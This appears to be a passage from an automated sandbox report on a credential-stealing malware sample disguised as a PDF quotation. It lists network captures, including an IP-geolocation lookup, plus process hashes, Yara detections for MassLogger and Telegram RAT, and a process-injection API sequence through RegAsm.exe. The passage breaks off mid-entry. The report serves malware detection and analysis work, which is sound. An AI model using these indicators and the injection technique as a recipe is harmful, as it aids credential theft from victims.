2025-04-23 15:24:30 UTC	8192	IN	Data Raw: 31 2c 54 d6 db f5 d2 fe a3 97 7e cb d0 bf 24 15 e2 de aa fb c5 04 d5 ee 3d 12 35 57 1e 58 cc da fe 71 bd d0 bf 2a e1 04 69 ae f0 d6 c4 b6 26 b6 a7 62 9a e9 78 2b 4e 3b ce 83 41 3d 34 84 41 40 f1 94 af 91 c6 54 87 16 c2 3b 61 19 5a 51 10 db 2a 21 97 b0 b3 22 23 76 fe cd 68 a7 68 d1 08 c1 55 48 4e 4a a8 16 ea 56 56 4f 22 a5 4d cf 2b e8 24 e7 bc 23 02 3d 68 eb 28 9e 53 8f 70 cb 52 a1 49 69 47 45 15 72 2c b7 f0 78 33 3e 25 71 90 d1 5b 91 43 f5 09 75 c0 2f a3 4b 1a 65 a7 ca 10 13 c4 8e 93 84 f7 81 70 a5 80 60 22 51 bd 76 80 bf 33 f4 6b 5b 22 3b 4a 71 de 87 31 10 20 6e 58 71 d6 2f 28 55 68 46 24 d1 4b 83 36 e4 ef 99 d4 f4 be a2 a8 3d fd d8 b3 69 aa 1a e2 5e e4 bf 4c f6 a3 7f 30 8f 53 f6 0e 00 34 33 58 85 34 13 86 d6 20 6d 61 ac ad 82 07 fa 5f 43 24 79 b8 02 31 Data Ascii: 1,T~$=5WXqi&bx+N;A=4A@T;aZQ!"#vhhUHNJVVO"M+$#=h(SpRIiGEr,x3>%q[Cu/Kep`"Qv3k[";Jq1 nXq/(UhF$K6=i^L0S43X4 ma_C$y1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49695	104.21.16.1	443	3544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-23 15:25:25 UTC	87	OUT	GET /xml/173.244.56.186 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-04-23 15:25:25 UTC	846	IN	HTTP/1.1 200 OK Date: Wed, 23 Apr 2025 15:25:25 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cf-Ray: 934e5f99d921e905-DFW Server: cloudflare Cache-Control: max-age=31536000 Cf-Cache-Status: MISS Last-Modified: Wed, 23 Apr 2025 15:25:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d71r8Us6OWc9kbsFtNUHxEpcYFTBjTat2rpdDTnYuoOwuPJTUnBc%2Fzv%2Ffqe0QKa9gDC2ULF0uWVO9Bz%2B7gEyzPryQQ3O3ptDdhOItfjxOQWiFbF3LhNzdxH0Vi346aQUhCZx6bqP"}],"group":"cf-nel","max_age":604800} Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=162749&min_rtt=162726&rtt_var=34362&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=24800&cwnd=252&unsent_bytes=0&cid=57096c474d92c01d&ts=643&x=0"
2025-04-23 15:25:25 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 34 34 2e 35 36 2e 31 38 36 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 41 5a 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 41 72 69 7a 6f 6e 61 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 50 68 6f 65 6e 69 78 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 35 30 33 36 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 50 68 6f 65 6e 69 78 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>173.244.56.186</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>AZ</RegionCode><RegionName>Arizona</RegionName><City>Phoenix</City><ZipCode>85036</ZipCode><TimeZone>America/Phoenix</TimeZon

Statistics

CPU Usage

• QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
• RegAsm.exe

Click to jump to process

Memory Usage

• QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
• RegAsm.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry
• Network

Click to dive into process behavior distribution

Behavior

• QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
• RegAsm.exe

Click to jump to process

Target ID:	0
Start time:	11:24:26
Start date:	23/04/2025
Path:	C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe"
Imagebase:	0xc10000
File size:	453'632 bytes
MD5 hash:	06BB5BEE224D3DED35E69F8366B52B3F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1443701222.0000000006D90000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1434658198.0000000004709000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1434658198.000000000449C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MSILLogger, Description: Yara detected MSIL Logger, Source: 00000000.00000002.1434658198.0000000003FCF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:25:20
Start date:	23/04/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x200000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MSILLogger, Description: Yara detected MSIL Logger, Source: 00000009.00000002.2127255770.0000000000602000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.2130154544.000000000272A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000009.00000002.2130154544.00000000025E1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	9.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	20%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Show Legend

Hide Nodes/Edges

Executed Functions

Function 06792F30 Relevance: 1.6, APIs: 1, Instructions: 57
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(?,?), ref: 06792FA6

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 5a981f7a64960da10fa9d8eb8b76414499a68bf779eb9acb7fc436e4bde19f49
Instruction ID: 6f3a16345d0b7adc176f85674c1fbe59c2972d4e1b73677b24f1428c461b8511
Opcode Fuzzy Hash: 5a981f7a64960da10fa9d8eb8b76414499a68bf779eb9acb7fc436e4bde19f49
Instruction Fuzzy Hash: E921F4B1D107099FDB20DFAAC4847AEFBF8BF88214F54842AD519A7240CB75A944CFA1

Function 06792F38 Relevance: 1.6, APIs: 1, Instructions: 54
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtResumeThread.NTDLL(?,?), ref: 06792FA6

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ef431bd71df89fc8cbe33efa3543a9a31cc3781c1248b33de8e2e85aea6ac3f6
Instruction ID: 1d92e9c91a04e1177889de639cfccb99a8c4c1770b9c7bfd0acee0e99ec725c8
Opcode Fuzzy Hash: ef431bd71df89fc8cbe33efa3543a9a31cc3781c1248b33de8e2e85aea6ac3f6
Instruction Fuzzy Hash: E61114B1D003088FDB10DFAAC4847EFFBF8AF88214F50842AD419A7240CB75A904CFA1

Function 067912F0 Relevance: .3, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a9bddc6a799a0416b22984d0c41e0637236a02003efc1df84dc839176e3dd46
Instruction ID: 4677562eee939787e666fa37617d659332906475b774eb5a9661dbe73e37fa13
Opcode Fuzzy Hash: 0a9bddc6a799a0416b22984d0c41e0637236a02003efc1df84dc839176e3dd46
Instruction Fuzzy Hash: C6D135B0E0521ACFEB94DFA9E944BADBBF2FB49304F5080A9D009AB354D7744995CF60

Function 067912E0 Relevance: .3, Instructions: 277
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a448287bba522baacb3c310fdbb9f5848d340cb972d0a30428e2b3470f0e471d
Instruction ID: b59884503a8b98eb4ee33cd0093421c123fcf7efaf229056cf8ac98bd5d2a447
Opcode Fuzzy Hash: a448287bba522baacb3c310fdbb9f5848d340cb972d0a30428e2b3470f0e471d
Instruction Fuzzy Hash: 43C134B0E0121ACFEB94DFA9E944BADBBF2FB49304F5081A9D009A7354DB344995CF61

Function 0679137B Relevance: .2, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd1b7f2f790b0e193bfb0eebaa77a33d56e01a1e1ee1a98b1b9c66d7a2c2c34e
Instruction ID: 059820e2fc3c05a78636b874b42f0f3604f5205069fff4d8494a13fd102658d4
Opcode Fuzzy Hash: cd1b7f2f790b0e193bfb0eebaa77a33d56e01a1e1ee1a98b1b9c66d7a2c2c34e
Instruction Fuzzy Hash: AAB123B0E0221ACFEB90DFA9E944BADBBF2FB49304F5081A9D009A7354D7345995CF61

Function 0679247D Relevance: 1.8, APIs: 1, Instructions: 329
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06792716

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2008b284fb89c5ad53168ace61db911879cbcbbfd070407aedd931e38c1711c5
Instruction ID: 637eb5b07be32020e3040a14fade9358f22f359a98811e86f33d5ff86fae8901
Opcode Fuzzy Hash: 2008b284fb89c5ad53168ace61db911879cbcbbfd070407aedd931e38c1711c5
Instruction Fuzzy Hash: 132167729003489FDB11DFAAD8447EEBFF5EF89320F14881AE555A7251C7359900CFA4

Function 06790B84 Relevance: 1.7, APIs: 1, Instructions: 205
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06790D6A

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 67cc980890f8beffac69021570f626ac46901806f2d0b9b888588e7aa24a8687
Instruction ID: bc0b7406f9a04d95bee7ad515facd220af4973df95f6a6dc96b0870b1b533794
Opcode Fuzzy Hash: 67cc980890f8beffac69021570f626ac46901806f2d0b9b888588e7aa24a8687
Instruction Fuzzy Hash: EE813671D106198FDF50DFA9D8817EEBBF1FF48314F24862AE819A7240D7759881CBA1

Function 06790B90 Relevance: 1.7, APIs: 1, Instructions: 201
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 06790D6A

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 2bbe7e82774c21141f50b32185c74ff23115d7c946301c0afb523a3c3e1711c1
Instruction ID: 3ae2785a31d9841f88ec51b3567d0e4d3e75636dd8753a9c1ee90ee1c0cc042f
Opcode Fuzzy Hash: 2bbe7e82774c21141f50b32185c74ff23115d7c946301c0afb523a3c3e1711c1
Instruction Fuzzy Hash: 16812571D106198FDF50DFA9D8817EEBBF2FF48310F24862AE814A7240D7759881CBA1

Function 06792918 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 067929B0

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b22f6c92c9eba7548c807cda6b96908704926a2f82448d6e7c9819749c2faee4
Instruction ID: 1b1c4cfdaba92dd7ff63743dc36a73ea12b6b79c31bb1a18a6daf5b5509e1f37
Opcode Fuzzy Hash: b22f6c92c9eba7548c807cda6b96908704926a2f82448d6e7c9819749c2faee4
Instruction Fuzzy Hash: 012125759103099FDB10DFA9D8857EEBBF4BB48320F108429E968A7241C7789944CBA0

Function 06792920 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 067929B0

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: d96ff59904072c157588097050f5743e787e1be184b2fcb37f2902722d126303
Instruction ID: 0ceb9007453eafbb65aecd1efdbe391741532d1ca7ed29d87808fd9aa7d95511
Opcode Fuzzy Hash: d96ff59904072c157588097050f5743e787e1be184b2fcb37f2902722d126303
Instruction Fuzzy Hash: 772135719003099FDB10DFAAC884BEEBBF4FF48310F10882AE958A7240C7789944CBA0

Function 06791C63 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06791CE6

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 97a54d13171269d7d379c673e9a20b98b8854f326970be7cd65db207c895cb83
Instruction ID: 21624f136e8862cca17524db48f65812baa2b37cfa614174b985836cba5d2f21
Opcode Fuzzy Hash: 97a54d13171269d7d379c673e9a20b98b8854f326970be7cd65db207c895cb83
Instruction Fuzzy Hash: 12213775D003098FDB10DFAAC485BEEBBF4EF89214F54842AD919A7340CB789945CFA4

Function 06791C68 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06791CE6

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: fdf5e7679a4dfd85d2abb70c8621a46bd9d29ea9ae288ecb9004d9ec7ceacaa0
Instruction ID: de30943386c6890967b5d2ff6a0403ef3577749c4116b88fe6a0ecae35183af5
Opcode Fuzzy Hash: fdf5e7679a4dfd85d2abb70c8621a46bd9d29ea9ae288ecb9004d9ec7ceacaa0
Instruction Fuzzy Hash: D8212775D003098FDB10DFAAC485BEEBBF4EF89214F54882AD919A7340CB789945CFA5

Function 067926A8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 06792716

Memory Dump Source

Source File: 00000000.00000002.1440767832.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 2c20a6f24404d0c6f086ddcf421512de530573f468ac65981d8319474292947d
Instruction ID: ff33150e233811ddbdfa4ad044b4dde77ae0a050e0f116657754baf645f413d3
Opcode Fuzzy Hash: 2c20a6f24404d0c6f086ddcf421512de530573f468ac65981d8319474292947d
Instruction Fuzzy Hash: C81126759003499FDB10DFAAC844BDEBBF5EF88310F148819E519A7250C7759544CFA0

Function 02DD41BC Relevance: 1.3, Strings: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jjjjjj, xrefs: 02DD4322

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID: jjjjjj
API String ID: 0-3900813449
Opcode ID: 4cf2ab317ba90aa8337f427b78353b686a01e1863f70145df4476beeac0f2206
Instruction ID: 654e1f2e2f0c04c0900d6b3f7f4c8ef7c300394454222b0e31742eeed23f9f1c
Opcode Fuzzy Hash: 4cf2ab317ba90aa8337f427b78353b686a01e1863f70145df4476beeac0f2206
Instruction Fuzzy Hash: 04B0929280E7C4CFC7028A5488E12607F20BAA204435DC0E6C4D94E247D024CA86E321

Function 02DD2718 Relevance: .5, Instructions: 531
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9a1daeb186405c3b2dc277f788a0bc94ba085804898728154e7c01c81d8d8c0
Instruction ID: afb3c78aff93d40e1c662adfa92fbf4c6a888241a4908d615c65476a97d2301c
Opcode Fuzzy Hash: c9a1daeb186405c3b2dc277f788a0bc94ba085804898728154e7c01c81d8d8c0
Instruction Fuzzy Hash: A04215B4A11609CFD361DF49E658E68BBF2FB40308FA6C19AD0158B2A6D776DC84CF41

Function 02DD2640 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9608572b7e09ee36d5c06e1651ca2a375ffa121687c9fdf42bbc8929d855f274
Instruction ID: 8f2d0b2f91ccbaa2846b8878bd5f8df29ad16760f689d556d73a4c778afee7a3
Opcode Fuzzy Hash: 9608572b7e09ee36d5c06e1651ca2a375ffa121687c9fdf42bbc8929d855f274
Instruction Fuzzy Hash: AE3266B0A15649CFD364DF49E658E64BBF2BB40308F95C19AD0158F2A6E7B6DC88CF01

Function 02DD3DC1 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d89efafb8acde49e2bc3cf04207af8305cb262b3323d8a3cc994058852f8862
Instruction ID: 0724d02d6f6a40f6c20e108ea851371b302645465d319551896cd2ff57ba9552
Opcode Fuzzy Hash: 6d89efafb8acde49e2bc3cf04207af8305cb262b3323d8a3cc994058852f8862
Instruction Fuzzy Hash: 06610230704609CBD7589B39CC64B6A77A6BFCA610F2446BAD446DB3D0DB31DC45CBA2

Function 0772ECF0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1445382709.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7710000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c619d41d26adc38afd7f7e31e5ca284dfd9f8b0e50ff29027fc8f7f1608ebf0a
Instruction ID: 1c3997459ebc1ffcdb2f40b5f495c537b50a25bc28e96916bdabf893a2a5c879
Opcode Fuzzy Hash: c619d41d26adc38afd7f7e31e5ca284dfd9f8b0e50ff29027fc8f7f1608ebf0a
Instruction Fuzzy Hash: D76188B0E05228DFEB04DFA9E4887EDBBF2FB4A344F149429D415A7294C7B45896DF20

Function 02DD3111 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 235dd40194207f659d70bcd01c49290942337148479f3abdb14850284f85c658
Instruction ID: 919a8d9f8b6b099196f7c62b2f920d8720062273f5f615f379287c4a5edbc998
Opcode Fuzzy Hash: 235dd40194207f659d70bcd01c49290942337148479f3abdb14850284f85c658
Instruction Fuzzy Hash: 3251AF31E04A0ACFCB40DF98C8806EEBBB1FF85310F1585AAD545AB351DB30AD55CB52

Function 0772FB28 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1445382709.0000000007710000.00000040.00000800.00020000.00000000.sdmp, Offset: 07710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7710000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c7296d1dd3b5eefc5647397937059d702e17bdca010321479e6de186c45139
Instruction ID: 02e5f1c1c4b3e9bd9fc3ac26465743a6f992884b16ca3740c972a581d5de2bda
Opcode Fuzzy Hash: 96c7296d1dd3b5eefc5647397937059d702e17bdca010321479e6de186c45139
Instruction Fuzzy Hash: C25128B4E01209DFDB44EFA9D8A4AADBBB2FF89304F10C069D415A73A4DB385942DF50

Function 02DD1BD8 Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 650218bf9280b16d8bd148c188b69311d156c84c308760bc1297c4b7e8bc93f6
Instruction ID: 6e74e87cac06fae5bdeaa02a6a9bba8ed7c88a52a83a062eb3ec821db679e9a8
Opcode Fuzzy Hash: 650218bf9280b16d8bd148c188b69311d156c84c308760bc1297c4b7e8bc93f6
Instruction Fuzzy Hash: C441B430B046199FDB19EBBD84147BEB7B6FBC5210B14892AC50A9B358DF31DC82D790

Function 02DD6E79 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a8d515b1d4cd893e6b45bafa9bf98bf5745b3cc3960da844f6ca3d937d385a9
Instruction ID: 2a259e473ed8cee83ae4a5c9d7794bb36264513fbd2250e37aebbbcd295fb7bc
Opcode Fuzzy Hash: 9a8d515b1d4cd893e6b45bafa9bf98bf5745b3cc3960da844f6ca3d937d385a9
Instruction Fuzzy Hash: 6A31F4717057124FDB169B79A850AAB7BEAFFC561471480ABE509CB392DB30DC0AC7E0

Function 02DD1BC8 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6479b61201c3724a635e869fda67f9187afa1f7aa7bcb844d9d17dc3e6282f49
Instruction ID: 3a957b7243486b3ac6d4fc552444b7978668102317a44fb25478530dff95942f
Opcode Fuzzy Hash: 6479b61201c3724a635e869fda67f9187afa1f7aa7bcb844d9d17dc3e6282f49
Instruction Fuzzy Hash: A431C030708615CBDB29AB7D941477AB776FB85214B18887AC94A8B359DB30DC42D790

Function 02DD1EEF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1427417283.0000000002DD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2dd0000_QUOTATION_APRLQUOTE312025#U00b7PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16f961b32c6e3ed7cc6f81ea31daa52861098150f79f5b710afde5a871dbd261
Instruction ID: e5f430f7a2bb4e43341581466694bbde86f8b7ab8601e233f9be456a26819651
